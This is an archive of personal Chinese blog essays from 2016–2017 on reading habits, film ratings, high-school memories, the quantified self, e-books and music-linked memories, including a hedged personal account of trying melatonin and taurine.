这类网站对电影,音乐和书籍的评价对我们的价值上限到底在哪里?换而言之,这些网站的评分对我们真的那么重要吗?我的结论是:并不那么重要,甚至根本不重要。豆瓣这类网站代表的是大众审美,即大多数人的选择。凡事只要贴上了「大多数」的标签,那么就会变的不那么酷,而不酷又意味着个性的缺失。在当代「集体利益高于一切 」的语境里,追求个性显得是多么弥足珍贵。而真正对我们重要的其实不是大多数的选择,而是自己的选择。一个东西好坏与否,对你意义如何,从来都取决于你,不取决于任何人。豆瓣评分,IMDB 评分,永远只能作为参考,一份来自大多数人的参考。你也许可以说:「哦,这个电影的豆瓣评分不低,咱们去看看吧。」但万不可说:「这个电影哪里不好?它的豆瓣评分可是有 9.9 分!」回想起自己曾经功利追求意义的行为,一切都释然了:意义无须挖掘,意义就是你自己。这也侧面体现了我们要警惕那些喜欢对他人好恶指手画脚的人的原因:因为他们想把你变成大多数。 豆瓣 TOP 250 也好,IMDB TOP 250 也好,I don‘t give a shit.

2017/12/23
articleCard.readMore

这三年(一)

在大漠戈壁边陲的这个小镇里面,从地理环境到人际环境似乎都很小。地理环境不消说,任何一个在这里长大的人,对七里镇的地形可以说都是了如指掌。而对人际关系而言,「流动」这个概念也变得十分淡化。这里的幼儿园有五所,小学有四所,初中有两所,而高中只有一所。所以说很有可能,你幼儿园的玩伴会一直陪着你上完高中,因而很多时候,人际环境的改变往往都来自于升学,从这个学校到另外一个学校,新环境和新的人也会随之而来。 开学的那一天,怀着兴奋和一丝紧张,我踏进了高中的大门。最清晰的记忆莫过于当时一进校门,映入眼帘的是一个全新的环境,全新的环境里面又站满的全新的人,那种陌生感和新鲜感交错的体验,对处世未深的我着实是一种震撼。新的班级中一大半的同学都是来自二中,我熟悉的面孔很少,近乎全新的环境需要我去适应,对当时的我而言也是一种前所未有的体验。 早上匆忙的开学工作之后,下午便迎来了新学校送给我们的见面礼——军训。也罢,我当时坦然地接受了要被太阳烘烤一个星期的现实(如果我知道一周后我会变成什么样,我可能就不会这么想了)。全新的团体面对的第一个挑战就是军训,而军训又是一个多么需要团体精神的过程。在短短一周里就要在这个大家都不互相熟识的团体里培养起这团结精神,这现实吗?这是我当时内心犯下的嘀咕,当然,一切都进行得很顺利,最终的成果打消了我对这个集体的疑虑,军训汇演的结果是我们班得了第一名。究竟为何能做到如此?长久以来我都没有得到过一个合理的答案,我给自己唯一的解释可能是我们这四十个人本就注定适合成为这样一个集体,尽管从三年后的角度来看我们这个集体依然有让人缺憾的部分,但无论怎样,相识本身就是一种缘分,何况是共度三年呢? 军训结束后就是高中学习生活的正式开始,其实从初中开始,我就对高中的学习生活有莫名的向往,因为无论是听他人传言还是自己的各种了解,高中都是一个「不只有学习的地方」,有学生会,有各种各样的活动,有社团等等。虽然从日后来看,一中和我所期望的高中仍有所差距——不论怎样,这里虽不只有学习,但确实是一个该认真学习的地方——但还是满足了我对高中的大多数幻想。记得很清楚的一点是第一天上课,其实总的来说并没有上什么课,因为是初来乍到,这一天的每堂课都是该科的任课老师在跟我们聊天,给我们讲每门课在高中和初中的差距和一些学习上的注意事项。所有科目中我印象最深的便是语文老师,在与我们交流过后,她给我们每一个人布置了一个任务:每个人都要轮流准备时长约为十分钟的演讲,而这个演讲会放在每天语文课前进行。我的口才并不好,在高中以前,无论是班级还是大集会,可以说是基本没有过任何演讲的经验,加上我怯场的毛病,这样一旨圣令,一下子成了我高中生涯所要面对的第一个大挑战。不过也正是语文老师「课前十分钟」的设定,我收获了可能是这三年来最有价值的精神财富之一,具体为何物,我会在后来的文章中提到,在这里先小卖一个关子。 我对高中生活中最为期待的部分便是听闻多年,却从未体验过的晚自习了。我对人生中第一节晚自习的印象很深。那是语文老师的晚自习,因为第一次在夜晚上课,不免有些兴奋,全然没有学习的心态,和刘元昊不知聊到了什么便开始笑,也不知为何,笑的便停不下来,因为是晚自习,还得保持应有的纪律,所以无法笑出声来,但这一笑就是半个小时,于是乎,高中第一次涕泗横流的经历便贡献给了第一节晚自习的笑声。第一次晚自习是这般开心,本想着也是为高中学习生活开了个好头(明明玩了一个晚自习,开个毛线的好头),却也没曾想到这是我高三之前上的最后一节晚自习了。由于当时高三某位同学的举报,相关的教育机构把我们学校上了多年的晚自习定性为了「非法补课」,于是就被叫停了。我人生中第一节晚自习也随着这位同学的举报,一并被查处封存在了记忆里,遥远到两年后的高三才被再次唤醒。 然而有得有失,因为不用上晚自习,夜晚又被重新归还给了我们,除了写作业,对于玩心大的我而言,自然也就成了出去吃喝玩乐的好时机。庆幸的是班里的同学也不都是只会学习的学神,几次邀约过后,也变得熟络起来。最让人记忆深刻的,要属那些在学校后操场玩真心话大冒险度过的夜晚了。一中并不开放,至少大大的后操场很少真正开放给大众,学生在晚上也很难进去。我们要想每次进入,只好从学校后墙翻进去,翻墙也一下成了每次出去玩必不可少的乐趣,依稀记得马老板的裤子还被刮烂过,没能拍下来,可以说是很可惜了。由于不开放操场,操场的大灯也并不会打开,黑暗的夜色中,和同学坐在操场中央,谈天说地,感觉甚是美滋滋。短短几个月,我们的生活从毫不相干有了交集,大家彼此也从初见的陌生变得熟悉,从高冷变得逗比。人生中最重要的三年,我将会和这些人一起度过,不论之后的路会怎样,不论你我的各奔东西,几个月前,我们才初次见面,几个月后,我们就已然成为了一个团体。相见即是缘分,这种日渐形成的团结和友谊,是那么自然,美好。 有时别无他求,只希望在以后的人生岁月里,每一个参与这些美好的人能把这份记忆永远存留心底。

2017/7/31
articleCard.readMore

这三年(零)

一直以来保持的在每年年初和第二年年末之间写年终总结的习惯,在 2016 年和 2017 年交界之时终于缺席了一次。一是因为身在高三,虽有写作的意愿,却难以从中抽出身来,所以只好将「写点什么」的渴望发泄在数学作业上;二是因为我对年终总结这种东西产生了新的想法:今年是我成年之年,也是我结束高三,结束高考的一年,何不在这个特别的年头写一些比年终总结更为深刻的东西?于是乎,这篇「这三年」孕育而生。 坂本龙一在他的自传中曾谈及过他对自我形成的认识:「真正铸造今天的我的不是各种人生中的转折大事,而是生活中的各种琐碎点滴与细节。」我何以成为今天的我?这一点在我写下这句话时依然不得而知,虽然不可能做到清晰记得这三年来中的任意某时某刻我正在做什么,在想什么,但是这种用写作倒逼自己回忆的方法,值得一试。我希望通过写高中这三年我的经历,来唤起自己的一些记忆,帮助我更好的认识过去,认识现在,从而更好的感知未来。 让我万分庆幸的一件事是,写博客这件事我从 2012 年坚持到了现在。也就是说,不光是这三年,这五年来的许多思索与回忆其实已经有文字可循,我曾经提到过的博客的意义在这里得以体现: 写博客是为了和过去以及未来的自己对话。 「这三年」已经结束,但是笔下的「这三年」,才刚刚开始。

2017/7/31
articleCard.readMore

我为什么不再首先阅读书籍的前言了

相信每个人对「文前页」这个概念都不陌生,在每本书正文内容开始之前都会有那么几页的前言。每本书的前言内容都大同小异,基本都是受出版社之邀,由作者本人(例如《活着》)、译者或是一些知名人士写下一些类似于读后感的东西,以来介绍书籍的内容或是一些背后的故事。 在此之前,我是属于那种对一本书的内容会从头到脚按顺序一字不落的看完的人,看不完封面绝不看前言,看不完前言绝不看正文。照理说这应该是一个「仔细」的好习惯,然而在这样持续很久之后,我猛然发现了这样一个习惯对我潜移默化的影响。 文字是一个人思想的流露,一本书的前言,不论是谁来写,难免都会掺杂进作者本人对这本书的观点和想法。如此一来,在正式接触书的正文前,如果我阅读了前言,首先接受的是一个人对这本书二次消化的结果,这时候先入为主的力量就会出现。很多次我在读完书的前言之后,都会不自觉地带着前言作者所写,去理解去判断书的内容。轻微一点的后果,我对一本书内容的判断力会有所偏薄,严重一些的情况,批判性思维此时在潜意识中逐渐被前言带来的先入为主思维所取代,以至于对一本书的个人理解全然建立在了前言作者之上,不能说这我在这本书一无所获,但也是失去了一次在沉浸书中,完全体验独立思考乐趣的机会。 类似的行为还有买书前看书评,看电影前看影评。所以我为什么不再首先阅读书籍的前言了?因为思考的独立精神十分重要,对内容的消费应当减少「二手思考」。也许看完一切后再去和他人探讨,写下书籍的「文后页」才是「前言」存在的合理的形式。

2017/7/7
articleCard.readMore

Hack Life With Biology

你可能会奇怪这篇文章为什么会有这样一个标题,其实主要原因是因为我实在找不到合适的中文词汇来形容这篇文章的主题(语文渣暴露无遗🤦‍♂️),本篇只是做一个分享,分享一种有趣的 Hack 自己和生活的方式(可能听起来会让人有些难以下定决心去尝试)。 如标题「Hack Life With Biology」所言,今天的主角是生物学,然而更确切一点的描述可能是「人体机制与药理学的结合」,所以说也可以总结其为生物学+化学。 作息紊乱和褪黑素 一切都开始于高三。在进入「挨枕头就睡」这个阶段之前,我的高三生活层有这么一段作息紊乱的日子:有时晚自习回家之后会疲惫不堪,便不顾作业倒床便睡,第二天早上凌晨早起补作业;有时兴奋异常,做完数学作业还依旧感觉活力四射,但迫于无奈只好睡觉,然而第二天的清醒状态却依旧很差......类似的情况还有很多,加之学习成绩等各方面带来的压力,那一段时日可能是我精神上最为劳累且痛苦的时期。一开始我还尝试逼迫自己提前完成作业来争取更大的时间支配权,然而这个方法最终以向数学黑恶势力低头而告终。 作为一名想要发挥主观能动性改变世界的理科生,我开始了科学探索之路。经过我在维基百科上的一番跳转查阅,我得到了以下信息: 人脑支配着昼夜节律 人脑部拥有一个名为「松果体」的内分泌腺体 松果体通过制造一种名为「褪黑素」的激素来调控昼夜节律 褪黑素可以用来帮助入睡和治疗睡眠障碍 褪黑素可以人为地补充 褪黑素在中国被划为保健食品一类,因此可以很容易地在市面上购买到,我在我家小区旁的药店里很轻松的便购入了规格为一瓶 60 片的褪黑素片。这里需要注意的是,褪黑素机理仅限于调整作息节律,打个比方来讲,褪黑素的作用只是在告诉你的大脑:你该睡觉了。因此褪黑素实际并无改变睡眠质量的功能,与安眠药的「安」字不同,它更像是一个「催眠剂」,重点在于「催」,如果你只是睡眠质量差劲,褪黑素并不能帮到你什么。 经过几天的定时服用褪黑素,效果可以说较为明显。比起平常下晚自习后不稳定的精神状况,经过调节后,困意的袭来基本可以控制在我想要的时间点上。以上也只是我主观感受的记录,至于严谨与否,以及有的人可能会提出的「安慰剂效应」,后文我会有所解释。 高强度脑力劳动和吡拉西坦 与高三伴随而来的,还有高强度的脑力劳动。不知道是否是我个人特例,上高三以后,我的记忆力开始下降,身边的人也时常提醒我这一点。对于学习上的信息还好,因为每天都有不同的重复,所以记忆还能表现得很好,但在生活上的一些琐事上,他人给我说的一些事情我经常性的遗忘,这是以前从未有过的,而且高三毕业到现在,记性差的问题也没再出现过,所以我更加坚信了记忆力下降这件事和高三是有一定联系的。 身体的运动有兴奋剂,不知道对于脑力劳动来说,是否也存在与兴奋剂类似的药物?依旧是经过一番查询,尽量地筛选可信度高的信息后,我发现了一个名为「吡拉西坦」的药物。 吡拉西坦为脑代谢改善药,临床上常用于急、慢性脑血管病、脑外伤、各种中毒性脑病等多种原因所致的记忆减退及轻、中度脑功能障碍,也可用于儿童智能发育迟缓。能促进脑内ADP转化为ATP,可促进乙酰胆碱合成并正增强神经兴奋的传导,具有促进脑内代谢作用。可以对抗由物理因素、化学因素所致的脑功能损伤。对缺氧所致的逆行性健忘有改进作用。可以增强记忆,提高学习能力。 对比多个脑代谢改善药物后,因为吡拉西坦的毒副作用最小,所以我选中了它作为改善脑力的尝试药物。 然而因为吡拉西坦属于处方药,我没能成功在药店买到它,因此这次对改善脑力的 Hack 尝试失败了。 注:以上信息均来自于互联网,具体药物表现如何还请咨询专业医生,虽为科学,但还是应当小心行事。 剧烈运动和牛磺酸 相信喜欢运动的人对功能性饮料应该不陌生,比起纯净水而言,功能性饮料中添加了糖分和无机盐等物质来补充剧烈运动后人体内水分、糖类以及电解质的流失。仔细看过配料表,除去氯化钠以外,功能性饮料中最常见的一个成分便是「牛磺酸」了。 经过一番查阅,我在 Google 学术中找到了这么几篇论文: 牛磺酸对运动力竭大鼠心肌线粒体的保护作用 牛磺酸对大鼠急性运动后自由基代谢,膜流动性及钙转运变化的影响 可以说论文中的结论都指向了牛磺酸对运动后的动物体有益的结论,除此之外,牛磺酸还有一些广泛被认可的作用: 牛磺酸在维持脑部运作及发展方面都扮演着重要的角色。牛磺酸能加速神经元的增生以及延长的作用。同时亦有利于细胞在脑内移动及增长神经轴突。另外在维持细胞膜的电位平衡方面,牛磺酸亦同样重要。因为它能帮助电解质如钾、钠、钙及镁质进出细胞,从而加强脑部的机能。由于牛磺酸有抑制神经的作用,所以它亦有抗痉挛及减少焦虑的特点。在脑中,如果麸胺酸在高水平的情况下,神经元便会因过度刺激而导致死亡。而牛磺酸则可助降低脑内麸胺酸的水平,因而对脑部起了保护的作用。除此之外,由于牛磺酸同时具有抗氧化的特点,故此它亦能保护脑部免受氧化物的伤害。 所以自此后的生活中,我都会不时关注自身牛磺酸的补充。 止于安慰剂效应的尝试 如实验褪黑素时所言,上述的一些药效和感受皆来自于我个人的主观感受,并无对照实验和单一变量的设置,也无法排除安慰剂效应可能带来的影响。虽然人类对褪黑素的研究已较为深入彻底,也确实证明了其促进睡眠的作用,但因为个体差异,也难保证这个方法对每一个失眠的人都有效。我还有许多利用药物改善生活品质的尝试,但都因为缺乏可靠的数据支撑,在此还是不做分享。 以上,就是我利用生物对身体,对生活进行 Hack 的一些尝试。

2017/7/4
articleCard.readMore

量化自我,以及数字化与脱数字化

原文地址:https://sspai.com/post/39644 量化自我 少数派曾在 2016 年年终举办过一场「2016 与我的数字生活」年度征文活动,以「数字生活」为主题,鼓励大家回顾过去的 2016 年。虽没能直接参与其中,但我还是认真阅读了其中大部分的入选征文。在各路入选的征文中,出现频率最高,同时也是给我印象最深的两个字可能就是「量化」了。 我们所说的「量化」其全称应该为「量化自我」,其起源并不算晚,该运动由连线杂志杂志的编辑加里·沃尔夫和凯文·凯利在 2007 年发起,是一场将个人日常生活中用输入、状态和表现这样的参数,将科学技术引入日常生活中的技术革命,其目的是通过自我追踪进行自我认知,以达到对自我更理性化的认识和掌控。 量化自我的内容很丰富,可以是人体自身的生理信息,如心率、血压、体重和心情,也可以是人体表现的行为的信息,如跑步、自行车、游泳等运动。在可穿戴设备日渐普及的今天,「量化自我」的行为无时无刻不在发生。 「量化自我」代表的是一种「数字化」的趋势。运动健身可以数字化为手机屏幕上的步数与卡路里,现金支付可以数字化为在线支付中的几串数字与小数点。量化所带来的数字化,不简单表现在个体「自我」的趋势,更是当今乃至未来的一个人类发展趋势。 数字化给我们带来了什么 随着各种智能设备以及在线服务的普及,「数字化」给我们带来的最显著的一个好处就是便利。在线支付当道的今天,甚至连路边的煎饼果子摊都支持微信、支付宝付款,出门不带现金已经成为了许多人的一种选择。在线支付的发达,也为网约车,共享单车这类新兴创业提供了一个现实层面的可行性,如果约车扫车之后还得用现金支付,不免有一种畸重畸轻的不均衡感。电子书、外卖、网购等等一系列与生活相关的数字化便利不胜枚举,这一点上「数字化」带给我们的便利与发展无可争辩。 Apple Watch 上的支付宝界面 今日的可穿戴设备多瞄准的是健康领域,就连发布时以「时尚穿戴设备」自居的 Apple Watch 也在几次系统升级迭代后更专注的开始向运动手表过渡。 把「刷满手环的数据」作为动机,一部分人又重新拾起对运动的「热爱」,这个理念对于保持健康来说是否正当还有待商榷,但它对于健康的作用无疑是积极的。可穿戴设备的普及侧面反映了一种大众化的需求:对自我健康的掌控。比起我们的自我感觉,这种掌控是建立数字化上的,数字化的行走步数,数字化的心率变化,数字化的卡路里消耗,这种数字化无疑比起我们的主观感受更加客观,更加理性,它让我们对自己的运动,对自己的健康有了一种「掌控感」。看着自己的体重图表随时间成负相关,看着自己的跑步距离越来越长,这种成就感带来的积极影响必将逐渐取代「刷满手环的数据」,成为越来越多的人在健康这件事上量化自我的主要动机。 一次跑步的数据 数字化自我的终极目的是为了通过自我追踪来进行自我认知。当你对生活中一些数字化的场景运用如鱼得水,出门不再带钱包,有手机即可;无需多么专业,通过自己的运动数据制定的合理运动计划;也不用对旅游的行程过度操劳,网络上即可预定好一切。当一切都以数字化的形式呈现在你的眼前时,你正在以一种全新的视角审视自己:资产的流动不再局限于银行寄来的纸质账单,各种收支出在数字化中一目了然;身体的极限不再以肌肉酸痛和呼吸急促的形式迎面撞上你,而是可在各种运动数据中合理的规避和锻炼。正如千年以前的阿波罗神庙中的三句箴言之一所言:「认识你自己」。以数字化来认知自我,也许就是对这个箴言最好的践行。 数字化让我们失去了什么 凡事均有两面,数字化亦是如此。随着传统纸质媒体向互联网数字化转型,因数字化所带来的前所未有的时效性与信息量让一个现象孕育而生:信息碎片化。借助手机这个工具,在越来越少的时间里,人们正在获得越来越多的信息。在碎片化阅读中获得的信息虽然十分及时有效,但由于更新频繁且内容十分繁杂,正如其名的碎片化,久而久之从中获得的信息也变得支离破碎,在脑中失去了管理,容易遗忘,也难以组织,相应的价值大打折扣。碎片化阅读带来了大量的信息,而最后这些信息如果转变为无价值,也就实际构成了一种信息噪音,噪音越多越大,对真正有价值的信息的判断的干扰也会越来越大。重新审视当今的互联网,一个明星出轨就可以在社交网络上迎来无数关注,谣言肆虐,愚蠢的言论遍地可见。在一个属于「世界」的互联网中,依然存在着国度的边界,存在着限制,言论自由即便漂洋过海也可以被冠以「辱华」的名义,甚至一些言论只有在围墙下才可以享有坐井观天式的熠熠生辉。这般情景很难让人觉得这样一个数字化的时代就是最好的时代。 前不久一款名为 WannaCry 的勒索病毒席卷全球,近 150 个国家遭到攻击。 首轮受到攻击的国家及地区 医院因此瘫痪而无法收治病人,办公系统瘫痪,造成的损失不可估量。该病毒会加密受害者的电脑文件,并勒索一定数目的比特币来帮助受害者解密文件。因其通过网络传播,用时不久就波及全球,无数人中招。这件事是数字化世界的警钟,安全无论何时何地都是一个亘古不变的话题,然而世界上没有不透风的墙,隐患永远存在,安全应时刻警惕。数字化给人提供了便利,也为图谋不轨者提供了全新的手段,当我们的隐私也随着数字化进程前进时,我们不得不警惕地放慢脚步,看清前方的陷阱与迷宫。 WannaCry 的勒索界面 随着 VR,AR 技术日趋成熟,人们对现实的数字化改造正在进行,前行的路上会有这样的声音:如果什么都可以虚拟了,那什么才算是真实?这个问题其实由来甚久,从电子书侵占市场开始,人们对「真实感」的追求开始逐渐浮出水面。这个「真实感」其实也十分的矛盾,在虚拟中模拟真实时,人们渴望逼真的体验(从 VR 在色情行业的运用便可见一斑),而逐渐沉溺于虚幻当中后,人们又反过来渴求来源于现实的真实,电子书无纸质书的质感,阅读的体验缺失等等都是这一派人的口号。从这个角度出发,Kindle 等电子书仿制纸质书阅读体验的墨水屏幕反倒是像数字化对「真实感」的一次妥协。然而这些能否作为数字化让我们失去的体验,我觉得并不绝对,毕竟以上观点的冲突大多来源于人们自我的心理认知,有人愿意为此妥协,也有人乐在其中,至于如何选择,如何权衡得失,皆来源于每一个人的选择。 Kindle 的电子墨水屏幕 脱数字化的意义 任何需求都有两面,有数字化的潮流,也必定有「脱数字化」的需求。记得 Jiahao.S 曾在少数派的访谈中说过这样一句话: 我讨厌一味地强调数字生活,忘记生活真正的样子是什么。 这句话很好的点明了脱数字化这个需求的要点,数字化终归只是一种方式,过度的强调方式而忘记了生活的本质,实属得不偿失。如何利用好数字化这个工具才是我们应当关注的,回想以前的社会,没有网络,没有手机,一切照常运作,数字化改变了什么?其实它什么也没改变。运动终归要靠自己动起来,手机不能帮你跑步;交易终归要靠金钱的流动,数字并不能代替你的财产。我们能改变的只有形式,让其更好地为我们所利用。合理的工具可以提高我们的生产力,但如果唯工具论,只会让我们陷入无效的数字化怪圈,成为一个怪人。 现在想来,也不难理解古时迁客骚人们的心境了,功利的官场和黑暗的现实让他们想从中脱身,找回人生本质的意义;脱数字化的人想要从浮躁的社会中抽身,找寻现实的真实存在的意义。览物之情,得无异乎? 未来? 历史的车轮滚滚向前,未来会是什么样,没有人敢妄下定论。但有一点我倒是能肯定,未来一定是属于数字化的。在这过去的十年里,我们已经体验了科技给人带来的极大颠覆,我也相信未来的每一个十年,科技必定会让世界再更新几个模样,数字化的趋势势不可挡。 数字化也好,脱数字化也罢,终究只是对自我的一种选择。我们可以用数字化全副武装自己,让自己成为新时代的探路人,也可以选择与数字化一切保持距离,尽可能的关注生活本身。人们的思想能被石板、竹简、纸张、磁带和比特所保存,有些来自遥远过去的心智因此可以为现世所重新审阅,有些则能因此而流传给不可预知的未来。数字化带来的自我认知全靠我们自己去掌握,去理解。 所以终究有一天,我们会凌驾于数字之上,完全真正地成为自己的主宰者。 在那样一个瞬间,我们便从数字中得到了自由。

2017/6/17
articleCard.readMore

电子书的偏见,纸质书的偏执

电子书这个概念起源甚早,在我的印象里,电子书似乎是和手机屏幕一同出现的。那时还没有视网膜显示屏,手机屏幕上的像素点还清晰可见,大家所阅读的也并不是现在为人所熟知的 PDF 和 EPUB 等格式,而是从网络上下载而来的 TXT 格式的书籍,「低头一族」也似乎是从那时起开始兴起。对于电子书和纸质书,偏见和偏执的种子也才刚刚埋下。 电子书的偏见 不知道有多少次在语文课上,每当老师提到阅读时,随之而来的多是对电子书的批判和对纸质书的追捧。也不仅仅是在语文课堂上,在网络各处,时不时便能看到「电子书党」和「纸质书党」的论战,如同豆腐脑的「甜党」和「咸党」一样两方谁说服不了谁,人人莫衷一是。 然而在这样一场大讨论中,还是有明显占优势的一方——纸质书。作为千百年来人类传播知识文化的媒介(这里把纸张出现之前的其他的阅读介质也姑且分类为「纸质书」),纸质书凭借其悠久的历史和深入人心的形象无可厚非的成为了阅读的代表,电子书几年的发展历史与其相比,实在有点微不足道。 深究大家反对电子书而吹捧纸质书的原因,大多数争论都集中在了以下几点上: 电子书没有直观的“外表“,所以没法衡量厚薄,没法摆设书柜,也没有阅读的成就感 电子书屏幕光伤眼,相比之下,纸质书阅读的自然光更护眼 电子书无法带来纸质书阅读的「质感」 电子书中的内容依赖设备,缺少纸质书的独立性 第一条我尚且不必讨论,因为我相信这一点因人而异,况且真正的读书人应该明白,读书的真正价值不在于读过书的数量多少,分量厚薄,而是所阅读书籍的内容价值几何。至于第二条,用过 Kindle 的同学应该感受过墨水屏带来的体验,虽不能说完全超过纸质书,但至少其在内容的直接呈现上已经和纸张不相上下。综合以上的两点,我认为,至少在显示效果上来说,电子书的地位已然可以和纸质书平起平坐。持相反观点来反对电子书阅读的人,多是对现代电子书阅读发展趋势的不了解使然。 于此,人们对电子书的偏见得到了解决。 纸质书的偏执 我想在面临纸质书和电子书的选择时,摆在众多阅读人面前的是阅读的「质感」问题。 在我的纸质书和电子书交叉的阅读体验中,我逐渐发现,阅读书籍给我带来的「质感」是一个会影响阅读体验的关键因素。在阅读电子书时,界面不断的刷新和左下角的进度百分比不断的增加——唯一两个能让我感受到我正在阅读一本书的直观体现,由此蔓延出的是一种焦虑感,一种催促我不断推进阅读进度,渴望把书读完的焦虑感。我深谙「读书切不可功利」,「读书切不可为了读书而读书」的道理,我也尝试过让自己在阅读电子书时平静下来,用坦然的心态去阅读,然而,电子书本身的属性似乎就给我带来了阅读的水土不服,让阅读的质感在这里变得非常糟糕。与此形成对比的是纸质书的阅读过程。我曾写过一篇名为「关于阅读的一些思考 」的文章,其中提到了两种阅读:碎片化和沉浸式。而纸质书就非常能让我进入沉浸式阅读阶段,捧起一本书,纸张的触感能让我完全融入其中,此时阅读变成了一种享受,一旦开启沉浸式阅读体验(也就是心理学上所讲的「心流」现象),阅读的效率是无可比拟的。 用一个字概括的话,电子书多给我带来的是一种「快」的质感,而纸质书则相反。也由此,「慢」成为了我心中的阅读质感中最重要的一点。 「质感」带来的问题还有很多。前文提到电子书的独立性很差,基本拥有电子书的读者,因为购书的方便快捷和价格上的优势,难免会在不知不觉中囤积一些书籍。众多书籍存放在一个设备里,独立性大大减弱,虽然在出行旅游这些场景中电子书的独立性弱取得了很大的优势,但是比起纸质书的书架,在收藏价值的比拼上,电子书很难取得优势。 这样一来,我对纸质书的偏执也有了足够的理由。 未来依旧属于纸质书,至少大部分未来 科技的车轮滚滚转,在数码相机干掉了胶卷,即时通讯干掉了书信(这个说法有待考证)后,难免有这样的问题:电子书会取代纸质书吗? 我的答案是否定的。在我经历从纸质书到电子书,再从电子书回归纸质书的一番轮回之后,我更加确信无论电子书在显示效果和便携程度上怎样匹敌,甚至赶超纸质书,其带来的阅读体验永远也赶不上纸张给人带来的那份「阅读质感」。也许一部分多媒体型的书籍会被在数字化内容上更优的电子书取代,但我相信:未来依旧属于纸质书,即便是一部分还是会被取代,但大部分的未来还是属于纸质书。 毕竟,在一个阳光刚好的午后,坐在柔光之下,陷入沙发中,捧起一本书籍细细品读带给我们的美好,永远也不会被替代。

2017/1/28
articleCard.readMore

记忆音乐

闲暇思考时,回忆起了自己曾写过的一篇文章 找不回来的感觉 ,里面提到了一种用音乐存储记忆的方法,今天难得有时间,打算掰扯掰扯我的这个「记忆音乐」理论,希望能给每个阅读这篇文章的人带来一些有趣的体验。 用音乐存储记忆这个习惯我一直使用至今,并且切身体验到了它的有效和可靠。也因此,每当人们说不同的歌会有不同的感觉的时候,我都会觉得这句话应该这么更正一下:即便是同一首歌,不同的人听也会有不同的感觉。 想必每个爱听歌的你可能会有这样的体验:当耳边响起某一首特定的歌时,脑海里便会不自主的浮现出许多昔日的景象,同时更为重要的是,过去某一段人生节点上独特的感觉也会伴随着记忆一同涌上心头。 如上,能带给我们超越听觉感官之外的体验的音乐,我称之为「记忆音乐」,意为「与记忆绑定的音乐」,不过这个名字我一直觉得起的不够好,因为它只片面的表现了音乐和记忆之间的关联,而我认为记忆音乐真正的精髓应该在于其和与记忆绑定的感觉的关联。 在我的歌单里,最早能给我带来强烈的感觉的记忆音乐是邓紫棋的这首《后会无期》。第一次听到这首歌是在 2014 年的校庆典礼上,那时也才刚上高中不久,回忆起那段时光,充斥的应该多是迷茫与探寻——来到新的环境的不适宜以及对人生的迷茫思索。(现在看来那个时候的我挺中二的,每天都沉浸在各种各样思考人生中,不过有一点我倒是很佩服自己,在那段时光中我一共写了各式各样的 8 篇杂文,比起现在的半年一篇,简直高产如母猪)当旋律响起时,我坐在台下即刻被深深的吸引(这里要感谢一下当年在台上演唱这首歌的同学,谢谢你完美的演绎,让我没有错过一首改变了我许多的好歌),一曲作罢,记忆的种子已经被深深的埋进了脑海里。记得很清楚,那天校庆结束后下起了雪,大家纷纷打的坐车回了家,只剩我一个人在寒风中骑着车,踏上了回家的路,一路上脑海里都在浮现的都是这首歌,一回到家我就迫不及待的找到了它,并把它添加进了我的歌单。我的第一首「记忆音乐」诞生了,那时开始,这首歌对我来说已不单单再是一首普通的流行歌曲,蛰伏于其中的有欣喜,有迷茫,有孤独,更有一场雪。 从那时开始我便开始有意识的寻找「记忆音乐」,希望能再找到可以给我带来不一样感觉的音乐,那段时日我如同中了毒瘾一般,在各大音乐电台,各个歌单,不停的寻找「记忆音乐」,为的只是能再有几次精神上回到过去的机会。在搜寻无果之后,我陷入了深深的失落,甚至开始怨恨这个世界上懂我的音乐人太少,甚至开始觉得「记忆音乐」是一种可遇而不可求的精神馈赠。 如果你明白「记忆音乐」的原理的话,你很快就能明白我的以上行为都是徒劳。我花了很久才明白:「记忆音乐」是自己创造出来的,并非找到。 与其说是创造,不如说是转化。「记忆音乐」是由普通的音乐转化而来的,所以说它可以是任何一首音乐。一旦一首歌被赋予了聆听者独特的记忆和情感,那么就可以说它是一首「记忆音乐」。我几经搜寻,终于找到了其背后的科学理论:赫布理论。通俗的解释起来也很简单,当人脑内的神经元的一个记忆单元建立时,可以与其他的记忆单元产生联系,当一首歌的记忆单元和你现实生活中的记忆连接起来后,每当其中的一个受到刺激,另一个也会被相应的唤醒,于是就产生了「记忆音乐」。 于是在此之后,我便会有意识的去制造「记忆音乐」。如果某段时光的记忆十分宝贵,我会在每天睡觉前戴上耳机,一边回想着今天的发生的种种,一边聆听在耳边响起的音乐,久而久之音乐就成了相应的记忆载体,每当需要回忆时,只需打开音乐,一切都会自动浮现上心头,这也是我从不在悲伤难过的时候听歌的原因——不想让音乐承载不好的记忆与情感。使用音乐来记忆的优势在于,相比于直接进行回忆,音乐回忆所能带来的感觉更真实,也更丰富。 音乐是一种美好的东西。音符的组合间孕育的是旋律无限的可能,聆听者的心间孕育的是情感的无限可能,两者结合,赋予我们每个人天生都拥有的能够欣赏无限的美好的能力,不得不说,实在是太值了。

2016/12/25
articleCard.readMore

关于阅读的一些思考

作为一名即将面临高三的学生,日益紧张的学业已经成为了我每天生活的主要内容。很多时候,我每天需要面对的大抵只有这几样东西:父母老师同学的脸,课业内容以及数学作业(别问我为什么要把数学作业单独分出来)。尽管生活很紧张,但我还是会挤时间去阅读,各种阅读的过程也逐渐催生出了一些相关的思考。 就我个人而言,阅读分为两类: 碎片化阅读 沉浸式阅读 碎片化阅读是什么,相信我不用做过多阐述。我把碎片化阅读排在第一位是因为我的整个阅读体验中它占了最大的比重,几乎我的大部分信息都来自于此。沉浸式阅读则指的是对大篇幅的书本的阅读,也就是大家普遍认知的阅读方式:读书。 为什么我曾很推崇碎片化阅读 一直以来我都很推崇碎片化阅读,一是因为时效性,碎片化阅读能让我得到最及时的信息,好让我能对这个世界有及时的了解;二是因为便携性,一般对于整个阅读体验来说,所需的成本只有手机和一小部分时间。 一天中学校占据了我的大多数时间,在这段时间里我能从与老师和同学的交流中获得信息,而其余时候因为我能使用的时间成本是有限的,所以我也不自动的选择了碎片化的阅读:借助手机这个工具,尽可能在少的时间里获取更多有用的信息。 尽管如此,在我的阅读中并不是说就完全放弃了对书本的阅读,在有充足时间的时候,我还是会进行沉浸式阅读。所以说以前我的阅读体系可以简单概括为:平时主要以碎片化阅读为主要的信息来源,而沉浸式阅读作为信息来源的补充。 信息噪音 对于我原有的阅读体系,一开始我觉得还保持的不错。只要坚持进行,并且对我的信息流加之以必要的管理,每天便能在有限的时间里获得我感兴趣的并且信息量合适的信息,整体来说似乎是个不错的阅读架构。但是久而久之我便发现了一个问题:通过碎片化阅读获得信息固然及时且便利,但大多数内容的长久价值却十分的小。 